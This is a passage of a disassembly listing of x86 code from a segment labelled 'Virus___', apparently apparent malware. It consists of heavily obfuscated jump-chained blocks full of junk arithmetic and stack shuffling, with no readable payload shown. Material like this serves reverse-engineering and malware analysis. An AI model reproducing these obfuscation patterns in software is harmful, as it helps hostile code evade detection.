		and	ecx, 3B963033h
		or	ecx, 5DE84536h
		xor	ecx, 5F2E0E13h
		xor	edx, ecx
		pop	ecx
		mov	ecx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_550CB4
; ---------------------------------------------------------------------------


loc_559F58:				; CODE XREF: Virus___:0056176Bj
		push	10650092h
		pop	ebx
		push	ebx
		pop	edi
		pop	ebx
		mov	ebx, edi
		jmp	loc_56499D
; ---------------------------------------------------------------------------


loc_559F68:				; CODE XREF: Virus___:0054F80Fj
		add	edi, ebx
		pop	ebx
		mov	esi, [esp]
		jmp	loc_550FDF
; ---------------------------------------------------------------------------


loc_559F73:				; CODE XREF: Virus___:0055FFEDj
		xchg	ebx, [esp]
		jmp	loc_5617F6
; ---------------------------------------------------------------------------


loc_559F7B:				; CODE XREF: Virus___:00559C7Aj
		or	edi, 423B07CCh
		push	ebp
		mov	ebp, 47AA5EF8h
		or	edi, ebp
		pop	ebp
		jmp	loc_55B89C
; ---------------------------------------------------------------------------


loc_559F8F:				; CODE XREF: Virus___:00557F80j
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		mov	al, bh
		jmp	loc_557B53
; ---------------------------------------------------------------------------


loc_559F9C:				; CODE XREF: Virus___:0056473Aj
		xchg	edx, ecx
		xchg	edi, edx
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		xchg	edi, edx
		jmp	loc_5564E1
; ---------------------------------------------------------------------------


loc_559FAD:				; CODE XREF: Virus___:0055B361j
		shr	eax, 2
		jmp	loc_55E1FC
; ---------------------------------------------------------------------------


loc_559FB5:				; CODE XREF: Virus___:0055E65Dj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55C4D9
; ---------------------------------------------------------------------------


loc_559FCA:				; CODE XREF: Virus___:0055D318j
		push	eax
		mov	eax, esp
		jmp	loc_55F38D
; ---------------------------------------------------------------------------


loc_559FD2:				; CODE XREF: Virus___:005649E5j
		shr	edi, 8
		sub	edi, 0D19E3D8Dh
		jmp	loc_550483
; ---------------------------------------------------------------------------


loc_559FE0:				; CODE XREF: Virus___:00551E55j
		add	edi, ebx
		pop	ebx
		push	ebp
		jmp	loc_5606E5
; ---------------------------------------------------------------------------


loc_559FE9:				; CODE XREF: Virus___:00550445j
		push	25BB3A26h
		pop	eax
		not	eax
		jmp	loc_5616E2
; ---------------------------------------------------------------------------


loc_559FF6:				; CODE XREF: Virus___:005544F0j
		mov	edx, 11055761h
		sub	esi, 58C24230h
		sub	esi, 18AF054Bh
		jmp	loc_559B1F
; ---------------------------------------------------------------------------


loc_55A00C:				; CODE XREF: Virus___:00554F80j
		pop	edi
		sub	ecx, edx
		pop	edx
		push	ecx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		sub	[edi+24h], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_55A035:				; CODE XREF: Virus___:0055F265j
		push	ebx
		push	eax
		mov	eax, 2A7C3CD8h
		sub	dword ptr [esp+4], 70264E0Eh
		sub	[esp+4], eax
		add	dword ptr [esp+4], 70264E0Eh
		pop	eax
		jmp	loc_560259
; ---------------------------------------------------------------------------


loc_55A056:				; CODE XREF: Virus___:0055D163j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	edx
		jmp	loc_5517AE
; ---------------------------------------------------------------------------


loc_55A06F:				; CODE XREF: Virus___:0055CCAEj
		add	edx, ecx
		pop	ecx
		xor	edx, 247E52F3h
		push	edx
		xor	dword ptr [esp], 311E08ACh
		pop	esi
		xor	esi, 311E08ACh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56077F
; ---------------------------------------------------------------------------


loc_55A092:				; CODE XREF: Virus___:0054FF48j
		push	edx
		push	25D53A40h
		pop	edx
		shl	edx, 7
		jmp	loc_55E14C
; ---------------------------------------------------------------------------


loc_55A0A1:				; CODE XREF: Virus___:00556639j
		inc	esi
		and	esi, 0CD55D57h
		shl	esi, 6
		xor	esi, 0BC366BC1h
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, 24C92B41h
		sub	ecx, eax
		pop	eax
		add	ecx, 6A7327C4h
		jmp	loc_554D84
; ---------------------------------------------------------------------------


loc_55A0C8:				; CODE XREF: Virus___:00556087j
		push	7891h
		jmp	loc_562362
; ---------------------------------------------------------------------------


loc_55A0D2:				; CODE XREF: Virus___:0055591Dj
		add	ecx, 0BDB7B117h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_556D9B
; ---------------------------------------------------------------------------


loc_55A0E2:				; CODE XREF: Virus___:005639E2j
		mov	[esp], ecx
		mov	cl, 0DDh
		jmp	loc_555003
; ---------------------------------------------------------------------------


loc_55A0EC:				; CODE XREF: Virus___:005573E1j
		mov	esp, [esp]
		add	ebx, ecx
		push	ebp
		mov	ebp, 18264DE7h
		xor	ebp, 35E059CEh
		sub	ebx, 3F124DDDh
		sub	ebx, ebp
		add	ebx, 3F124DDDh
		pop	ebp
		pop	ecx
		push	3023h
		mov	[esp], ecx
		mov	ecx, 2Ch
		push	ebx
		mov	ebx, esp
		jmp	loc_55A9E0
; ---------------------------------------------------------------------------


loc_55A122:				; CODE XREF: Virus___:0055D58Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55CEFF
; ---------------------------------------------------------------------------


loc_55A131:				; CODE XREF: Virus___:0055E6D6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_553FE8
; ---------------------------------------------------------------------------


loc_55A140:				; CODE XREF: Virus___:00552B4Aj
		add	esi, 4
		jmp	loc_552344
; ---------------------------------------------------------------------------


loc_55A14B:				; CODE XREF: Virus___:005550F1j
		movzx	eax, al
		jmp	loc_5628B7
; ---------------------------------------------------------------------------


loc_55A153:				; CODE XREF: Virus___:0055D2D5j
		push	ebx
		mov	ebx, 570A491Ah
		add	eax, ebx
		pop	ebx
		pop	edi
		jmp	loc_553D45
; ---------------------------------------------------------------------------


loc_55A162:				; CODE XREF: Virus___:00558DA0j
		mov	[esp], ebp
		mov	ebp, 0BC0714Bh
		sub	ebp, 3D432196h
		push	esi
		push	0C663F77h
		jmp	loc_5527FC
; ---------------------------------------------------------------------------


loc_55A17B:				; CODE XREF: Virus___:0055B44Dj
		mov	bh, al
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_55D7C3
; ---------------------------------------------------------------------------


loc_55A189:				; CODE XREF: Virus___:00558FD9j
		pop	esi
		pop	ecx
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55A19F:				; CODE XREF: Virus___:0055C959j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6D46CAAh
		jmp	loc_55A853
; ---------------------------------------------------------------------------


loc_55A1B0:				; CODE XREF: Virus___:00560B36j
		xor	esi, [ebx]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_56475F
; ---------------------------------------------------------------------------


loc_55A1C1:				; CODE XREF: Virus___:0055D5D2j
		xor	al, bl
		jmp	loc_5516A8
; ---------------------------------------------------------------------------


loc_55A1C8:				; CODE XREF: Virus___:00557F3Cj
		add	esp, 4
		jmp	loc_555CE3
; ---------------------------------------------------------------------------


loc_55A1D3:				; CODE XREF: Virus___:005591B7j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56424B
; ---------------------------------------------------------------------------


loc_55A1E5:				; CODE XREF: Virus___:00550B81j
		mov	ecx, 5CC95FF4h
		push	edx
		mov	edx, 354F6493h
		push	6DE73B7Dh
		pop	ebx
		add	ebx, 12203E76h
		add	ebx, edx
		push	ecx
		jmp	loc_55C582
; ---------------------------------------------------------------------------


loc_55A204:				; CODE XREF: Virus___:0055C4E2j
		push	eax
		push	ecx
		jmp	loc_550682
; ---------------------------------------------------------------------------


loc_55A20B:				; CODE XREF: Virus___:0056440Aj
		mov	al, 0EAh
		push	ecx
		mov	ch, 8Fh
		add	ch, 43h
		neg	ch
		or	ch, 0FEh
		neg	ch
		add	ch, 0C0h
		add	al, ch
		pop	ecx
		xor	al, 0
		xor	dh, al
		pop	eax
		add	bl, 5Eh
		sub	bl, dh
		jmp	loc_562573
; ---------------------------------------------------------------------------


loc_55A22F:				; CODE XREF: Virus___:0055D810j
		sub	esi, 1
		jmp	loc_558478
; ---------------------------------------------------------------------------


loc_55A237:				; CODE XREF: Virus___:005649D7j
		not	ebp
		sub	ebp, 355D5AB9h
		xor	ebp, 3CFF9CD5h
		add	esi, ebp
		push	dword ptr [esp]
		jmp	loc_558C00
; ---------------------------------------------------------------------------


loc_55A24F:				; CODE XREF: Virus___:005645E4j
		pop	esi
		jmp	loc_55D997
; ---------------------------------------------------------------------------


loc_55A255:				; CODE XREF: Virus___:0055D8D3j
		neg	bl
		shl	bl, 7
		push	71D3h
		mov	[esp], eax
		push	ecx
		mov	cl, 0C6h
		jmp	loc_557AEB
; ---------------------------------------------------------------------------


loc_55A26A:				; CODE XREF: Virus___:00559784j
		shr	ebx, 3
		push	eax
		jmp	loc_553146
; ---------------------------------------------------------------------------


loc_55A273:				; CODE XREF: Virus___:00554CA2j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_553740
; ---------------------------------------------------------------------------


loc_55A284:				; CODE XREF: Virus___:00550C81j
		add	eax, 44E03929h
		push	esi
		mov	esi, 2D2A4FACh
		add	eax, 3E4A2927h
		add	eax, esi
		sub	eax, 3E4A2927h
		jmp	loc_55601B
; ---------------------------------------------------------------------------


loc_55A2A0:				; CODE XREF: Virus___:00551139j
		add	ebx, esi
		jmp	loc_556B2E
; ---------------------------------------------------------------------------


loc_55A2A7:				; CODE XREF: Virus___:0054FB38j
		mov	esp, [esp]
		jmp	loc_55B24E
; ---------------------------------------------------------------------------


loc_55A2AF:				; CODE XREF: Virus___:0055F105j
		pop	ebx
		pop	eax
		sub	cl, 13h
		jmp	loc_5578B1
; ---------------------------------------------------------------------------


loc_55A2B9:				; CODE XREF: Virus___:0055CF61j
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 5B2D6F38h
		jmp	loc_561192
; ---------------------------------------------------------------------------


loc_55A2C8:				; CODE XREF: Virus___:00564C67j
		add	ebp, edx
		sub	ebp, 3CF329AFh
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54FA0A
; ---------------------------------------------------------------------------


loc_55A2E2:				; CODE XREF: Virus___:00557451j
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_55000F
; ---------------------------------------------------------------------------


loc_55A2F0:				; CODE XREF: Virus___:00561962j
		mov	ecx, eax
		pop	eax
		shr	ecx, 6
		push	369Eh
		mov	[esp], ebx
		push	ebp
		push	edx
		jmp	loc_55ADC5
; ---------------------------------------------------------------------------


loc_55A305:				; CODE XREF: Virus___:0055E8BCj
		pop	eax
		sub	edx, 1
		sub	edx, 5DD2346Ch
		jmp	loc_55115D
; ---------------------------------------------------------------------------


loc_55A317:				; CODE XREF: Virus___:0055554Ej
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55F512
; ---------------------------------------------------------------------------


loc_55A323:				; CODE XREF: Virus___:0055DBFAj
		shr	ecx, 6
		push	edi
		mov	edi, 12E46C60h
		xor	edi, 28D93DF7h
		jmp	loc_55BE4A
; ---------------------------------------------------------------------------


loc_55A337:				; CODE XREF: Virus___:00553A38j
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_55C5B6
; ---------------------------------------------------------------------------


loc_55A342:				; CODE XREF: Virus___:0055500Fj
		sub	al, cl
		pop	ecx
		add	al, 0C2h
		add	al, 4Ah
		add	al, cl
		sub	al, 4Ah
		sub	al, 0C2h
		push	ecx
		jmp	loc_55C6EB
; ---------------------------------------------------------------------------


loc_55A355:				; CODE XREF: Virus___:0055D6B9j
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		shl	ebp, 6
		shr	ebp, 3
		inc	ebp
		add	ebp, 33AA7787h
		dec	ebp
		not	ebp
		jmp	loc_556C78
; ---------------------------------------------------------------------------


loc_55A374:				; CODE XREF: Virus___:0055B06Aj
		add	esp, 4
		push	eax
		mov	eax, 2
		add	edx, eax
		pop	eax
		jmp	loc_55A960
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_55D03C
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	6AB4h
		mov	[esp], ecx
		mov	ecx, 64C20337h
		xor	ecx, 1D7C5150h
		shl	ecx, 3
		jmp	loc_55DCD4
; ---------------------------------------------------------------------------


loc_55A3BC:				; CODE XREF: Virus___:005607FAj
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55DC5F
; ---------------------------------------------------------------------------


loc_55A3C4:				; CODE XREF: Virus___:00559114j
		mov	dh, 90h
		jmp	loc_55F31F
; ---------------------------------------------------------------------------


loc_55A3CB:				; CODE XREF: Virus___:00552625j
		xor	si, dx
		pop	dx
		add	ax, si
		pop	esi
		add	ax, 1023h
		sub	ax, bx
		push	si
		mov	si, 1023h
		sub	ax, si
		pop	si
		push	cx
		push	si
		jmp	loc_558EB8
; ---------------------------------------------------------------------------


loc_55A3EF:				; CODE XREF: Virus___:0055D02Cj
		push	5D84h
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ecx
		jmp	loc_54FA2C
; ---------------------------------------------------------------------------


loc_55A406:				; CODE XREF: Virus___:005541CAj
		xchg	eax, [esp]
		jmp	loc_55ED0A
; ---------------------------------------------------------------------------


loc_55A40E:				; CODE XREF: Virus___:0055B1C0j
		and	ebx, 11EC188Ch
		jmp	loc_562377
; ---------------------------------------------------------------------------


loc_55A419:				; CODE XREF: Virus___:0055F706j
		push	ecx
		jmp	loc_55A8E4
; ---------------------------------------------------------------------------


loc_55A41F:				; CODE XREF: Virus___:00553531j
		pop	esp
		push	ebp
		mov	ebp, 29FB51DDh
		add	esi, 52301784h
		add	esi, ebp
		sub	esi, 52301784h
		jmp	loc_557EA8
; ---------------------------------------------------------------------------


loc_55A439:				; CODE XREF: Virus___:00563AA8j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_550C33
; ---------------------------------------------------------------------------


loc_55A448:				; CODE XREF: Virus___:00559EF4j
		mov	ax, [esp]
		push	15BDh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	eax
		jmp	loc_563A77
; ---------------------------------------------------------------------------


loc_55A46E:				; CODE XREF: Virus___:0055A831j
		xor	edi, ebp
		pop	ebp
		sub	eax, 55423C1Ch
		add	eax, edi
		add	eax, 55423C1Ch
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	eax, 1B2005C2h
		add	eax, ebx
		sub	eax, 1B2005C2h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	669h
		jmp	loc_552A03
; ---------------------------------------------------------------------------


loc_55A4B1:				; CODE XREF: Virus___:00553F4Dj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55D2B1
; ---------------------------------------------------------------------------


loc_55A4C1:				; CODE XREF: Virus___:005598D9j
		add	esp, 4
		push	bx
		mov	bh, dh
		not	bh
		mov	dh, bh
		pop	bx
		jmp	loc_555C7D
; ---------------------------------------------------------------------------


loc_55A4D6:				; CODE XREF: Virus___:0055C1DEj
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55A4E8:				; CODE XREF: Virus___:00552416j
		push	eax
		mov	eax, 79B11031h
		xor	ecx, eax
		pop	eax
		xor	ecx, 0A8259101h
		add	eax, ecx
		pop	ecx
		pop	esi
		add	eax, ebx
		add	eax, 3C7E5673h
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5521A7
; ---------------------------------------------------------------------------


loc_55A519:				; CODE XREF: Virus___:00558809j
		pop	esp
		add	ebx, 1F6C4129h
		jmp	loc_5509BD
; ---------------------------------------------------------------------------


loc_55A525:				; CODE XREF: Virus___:0055B164j
		sub	ebx, ebp
		sub	ebx, 1EEB7139h
		add	ebx, 40FF012Ch
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_555076
; ---------------------------------------------------------------------------


loc_55A556:				; CODE XREF: Virus___:00554BE4j
		shl	ch, 6
		neg	ch
		push	edx
		mov	dh, 4
		xchg	bl, dh
		not	bl
		xchg	bl, dh
		jmp	loc_55CB44
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	6576h
		mov	[esp], edx
		mov	edx, 3C6A241Ah
		jmp	loc_55EA0B
; ---------------------------------------------------------------------------


loc_55A587:				; CODE XREF: Virus___:0056390Ej
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, edx
		push	edi
		push	dword ptr [esp]
		jmp	loc_54F8AC
; ---------------------------------------------------------------------------


loc_55A59F:				; CODE XREF: Virus___:0055E632j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	60BCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_56207B
; ---------------------------------------------------------------------------


loc_55A5D6:				; CODE XREF: Virus___:0055837Ej
		add	edx, 282B3437h
		and	edx, 73A276DBh
		or	edx, 75085DD0h
		add	edx, 88F78030h
		sub	ebp, 3F7A4E09h
		jmp	loc_55D780
; ---------------------------------------------------------------------------


loc_55A5F9:				; CODE XREF: Virus___:005505BEj
		pop	esi
		push	edx
		jmp	loc_55451F
; ---------------------------------------------------------------------------


loc_55A600:				; CODE XREF: Virus___:0055407Aj
		push	ebx
		mov	ebx, 685464F1h
		add	ebx, 3BD059F4h
		sub	ebx, 711393A1h
		add	esi, ebx
		jmp	loc_55566A
; ---------------------------------------------------------------------------


loc_55A619:				; CODE XREF: Virus___:00556072j
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_56146C
; ---------------------------------------------------------------------------


loc_55A643:				; CODE XREF: Virus___:005603EDj
		add	ebx, eax
		pop	eax
		shr	ebx, 2
		jmp	loc_55FBB7
; ---------------------------------------------------------------------------


loc_55A64E:				; CODE XREF: Virus___:0055EC2Bj
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		shr	eax, 8
		push	ebx
		mov	ebx, 54FA11FEh
		jmp	loc_554D1F
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		xchg	esi, ecx
		not	esi
		jmp	loc_553A81
; ---------------------------------------------------------------------------


loc_55A66C:				; CODE XREF: Virus___:00552946j
		pop	ebp
		pop	ecx
		jmp	loc_5565BF
; ---------------------------------------------------------------------------


loc_55A673:				; CODE XREF: Virus___:0056012Ej
		push	dword ptr [esp]
		jmp	loc_55D9BC
; ---------------------------------------------------------------------------


loc_55A67B:				; CODE XREF: Virus___:0054FF3Bj
		add	ebx, eax
		push	eax
		jmp	loc_559967
; ---------------------------------------------------------------------------


loc_55A683:				; CODE XREF: Virus___:0055B5FAj
		mov	cl, 8Bh
		shr	cl, 3
		sub	esp, 4
		jmp	loc_558035
; ---------------------------------------------------------------------------


loc_55A690:				; CODE XREF: Virus___:0056221Bj
		add	esp, 4
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], edx
		push	7FA6A0Dh
		mov	edx, [esp]
		jmp	loc_55CC9D
; ---------------------------------------------------------------------------


loc_55A6B0:				; CODE XREF: Virus___:005577D8j
		or	eax, 2A4E2120h
		sub	eax, 5F2B17DEh
		sub	eax, 56FE0EF0h
		jmp	loc_55C188
; ---------------------------------------------------------------------------


loc_55A6C4:				; CODE XREF: Virus___:00559E5Fj
		xchg	ebx, [esp]
		jmp	loc_55BD46
; ---------------------------------------------------------------------------


loc_55A6CC:				; CODE XREF: Virus___:00556386j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_550E52
; ---------------------------------------------------------------------------


loc_55A6DD:				; CODE XREF: Virus___:0055FEDBj
		add	edi, ebp
		pop	ebp
		add	ebp, edi
		jmp	loc_5546AE
; ---------------------------------------------------------------------------


loc_55A6E7:				; CODE XREF: Virus___:00552A06j
		push	esp
		jmp	loc_56007E
; ---------------------------------------------------------------------------


loc_55A6ED:				; CODE XREF: Virus___:00551211j
		push	765Ch
		jmp	loc_557DC6
; ---------------------------------------------------------------------------


loc_55A6F7:				; CODE XREF: Virus___:0055BF13j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D66B
; ---------------------------------------------------------------------------


loc_55A703:				; CODE XREF: Virus___:005596D5j
		sub	eax, edx
		pop	edx
		add	eax, ebp
		add	eax, 7C5480Dh
		jmp	loc_55F747
; ---------------------------------------------------------------------------


loc_55A712:				; CODE XREF: Virus___:00557AC9j
		mov	[esp], ebp
		jmp	loc_5520DB
; ---------------------------------------------------------------------------


loc_55A71A:				; CODE XREF: Virus___:005517EDj
		push	esi
		push	39F8085Fh
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_562462
; ---------------------------------------------------------------------------


loc_55A731:				; CODE XREF: Virus___:0055B77Ej
		push	eax
		jmp	loc_55CDF4
; ---------------------------------------------------------------------------


loc_55A737:				; CODE XREF: Virus___:005582F9j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_550223
; ---------------------------------------------------------------------------


loc_55A74D:				; CODE XREF: Virus___:00562E45j
		mov	esi, 4EC848EDh
		add	ecx, esi
		pop	esi
		add	ecx, eax
		sub	ecx, 4EC848EDh
		pop	eax
		push	esi
		mov	esi, 2
		push	edx
		mov	edx, 189F25FFh
		sub	edx, 0D3E8B912h
		jmp	loc_564926
; ---------------------------------------------------------------------------


loc_55A775:				; CODE XREF: Virus___:00551F64j
		push	edx
		inc	dword ptr [esp]
		pop	edx
		dec	edx
		xor	edx, 5FDB4CD4h
		xor	ebx, edx
		jmp	loc_55CEEA
; ---------------------------------------------------------------------------


loc_55A788:				; CODE XREF: Virus___:0055BB0Cj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2B290BC2h
		sub	edi, 51332EDBh
		shl	edi, 4
		xor	edi, 64D640CFh
		jmp	loc_55C569
; ---------------------------------------------------------------------------


loc_55A7A8:				; CODE XREF: Virus___:00554908j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		jmp	loc_5517A5
; ---------------------------------------------------------------------------


loc_55A7B6:				; CODE XREF: Virus___:00560385j
		neg	ebx
		push	5C73h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55F787
; ---------------------------------------------------------------------------


loc_55A7C7:				; CODE XREF: Virus___:00563882j
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_55F430
; ---------------------------------------------------------------------------


loc_55A7E1:				; CODE XREF: Virus___:0055444Bj
		pop	eax
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55CF58
; ---------------------------------------------------------------------------


loc_55A802:				; CODE XREF: Virus___:0055EFCBj
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5511B8
; ---------------------------------------------------------------------------


loc_55A811:				; CODE XREF: Virus___:0056222Ej
		push	5C9Ah
		mov	[esp], esi
		push	esi
		mov	esi, 46013452h
		jmp	loc_550290
; ---------------------------------------------------------------------------


loc_55A824:				; CODE XREF: Virus___:0055BDEFj
		pop	edx
		add	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0A496D7A1h
		jmp	loc_55A46E
; ---------------------------------------------------------------------------


loc_55A836:				; CODE XREF: Virus___:005501C0j
		add	ebx, 0D2BED958h
		sub	esi, 3F2773B8h
		sub	esi, ebx
		add	esi, 3F2773B8h
		pop	ebx
		mov	edi, [esp]
		jmp	loc_55F205
; ---------------------------------------------------------------------------


loc_55A853:				; CODE XREF: Virus___:0055A1ABj
		add	ebx, 4989B850h
		add	eax, ebx
		pop	ebx
		jmp	loc_5607D7
; ---------------------------------------------------------------------------


loc_55A861:				; CODE XREF: Virus___:00556F1Cj
		pop	ecx
		add	edi, 9BE2175h
		mov	ebp, edi
		jmp	loc_554C91
; ---------------------------------------------------------------------------


loc_55A86F:				; CODE XREF: Virus___:00550B72j
		sub	eax, ebx
		jmp	loc_562A50
; ---------------------------------------------------------------------------


loc_55A876:				; CODE XREF: Virus___:0055103Ej
		xor	edi, 0E64FE3C7h
		add	edx, 344B542Ah
		sub	edx, edi
		sub	edx, 344B542Ah
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559AEC
; ---------------------------------------------------------------------------


loc_55A898:				; CODE XREF: Virus___:00560B15j
		push	edx
		dec	byte ptr [esp]
		pop	edx
		mov	cl, dl
		pop	edx
		jmp	loc_55DA13
; ---------------------------------------------------------------------------


loc_55A8A5:				; CODE XREF: Virus___:0056135Fj
		mov	dl, 44h
		and	bl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	bl, 0DEh
		push	eax
		jmp	loc_555C2B
; ---------------------------------------------------------------------------


loc_55A8BC:				; CODE XREF: Virus___:005544CCj
		shl	edx, 3
		shr	edx, 6
		push	eax
		push	esi
		push	73D2424Eh
		pop	esi
		dec	esi
		not	esi
		shl	esi, 3
		sub	esi, 16F28F87h
		mov	eax, esi
		pop	esi
		push	esi
		mov	esi, 2EB159C5h
		jmp	loc_563A0F
; ---------------------------------------------------------------------------


loc_55A8E4:				; CODE XREF: Virus___:0055A41Aj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_559304
; ---------------------------------------------------------------------------


loc_55A8FB:				; CODE XREF: Virus___:00560396j
		sub	bl, al
		push	dx
		jmp	loc_56046F
; ---------------------------------------------------------------------------


loc_55A904:				; CODE XREF: Virus___:00563547j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	2D17h
		mov	[esp], ecx
		jmp	loc_55C4A6
; ---------------------------------------------------------------------------
		lodsw
		sub	ax, 16C7h
		sub	esp, 4
		mov	[esp], esi
		mov	si, 2D18h
		push	edi
		mov	di, 3874h
		add	di, 2761h
		add	di, 0AF18h
		add	si, di
		jmp	loc_563311
; ---------------------------------------------------------------------------


loc_55A94C:				; CODE XREF: Virus___:005579ABj
		push	esi
		jmp	loc_562B5E
; ---------------------------------------------------------------------------


loc_55A952:				; CODE XREF: Virus___:0055D22Dj
		mov	edx, ecx
		pop	ecx
		sub	edx, 14A37F55h
		jmp	loc_563975
; ---------------------------------------------------------------------------


loc_55A960:				; CODE XREF: Virus___:0055A383j
		xchg	edx, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55A96F:				; CODE XREF: Virus___:005626F2j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55A97D:				; CODE XREF: Virus___:0055C13Fj
		add	eax, 64E5098Dh
		jmp	loc_55401D
; ---------------------------------------------------------------------------


loc_55A987:				; CODE XREF: Virus___:0055D93Dj
		xor	ecx, 3081B2Ch
		sub	ecx, 36F05ACAh
		inc	ecx
		add	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 51E5C3ADh
		xor	ecx, edx
		pop	edx
		mov	edx, ecx
		pop	ecx
		xor	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, edi
		mov	ecx, [edx]
		pop	edx
		push	4A60h
		mov	[esp], ebp
		push	edx
		mov	edx, 473A1AE3h
		push	0
		jmp	loc_557475
; ---------------------------------------------------------------------------


loc_55A9D1:				; CODE XREF: Virus___:0055F27Dj
		mov	esi, 4CB2B8A4h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_562040
; ---------------------------------------------------------------------------


loc_55A9E0:				; CODE XREF: Virus___:0055A11Dj
		add	ebx, 4
